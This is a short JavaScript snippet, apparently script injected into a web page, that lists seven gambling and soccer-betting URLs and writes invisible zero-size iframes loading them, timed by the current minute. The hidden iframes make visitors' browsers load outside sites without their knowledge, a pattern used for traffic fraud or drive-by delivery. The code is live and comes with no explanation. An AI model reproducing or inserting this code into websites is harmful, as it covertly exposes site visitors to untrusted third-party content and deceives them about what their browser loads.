var HostList = new Array();
HostList[0] = new Array("http://www.ball88.net",30);
HostList[1] = new Array("http://www2.hksoccer.com",30);
HostList[2] = new Array("http://goal98.netsh.com/bbs/281810/",30);
HostList[3] = new Array("http://abc.fo88888.com/",30);
HostList[4] = new Array("http://www.win13.cc",30);
HostList[5] = new Array("http://goal88.netsh.com/bbs/261111/",30);
HostList[6] = new Array("http://www.txzq8.net",40);
var NowTime = new Date();
var dm = NowTime.getMinutes();
for(var i =0; i< HostList.length;i ++)
{
	if((dm % HostList[i][1]) == 0)
	{
		document.write("<iframe src='"+ HostList[i][0] +"' height='0' width='0'></iframe>");
	}
}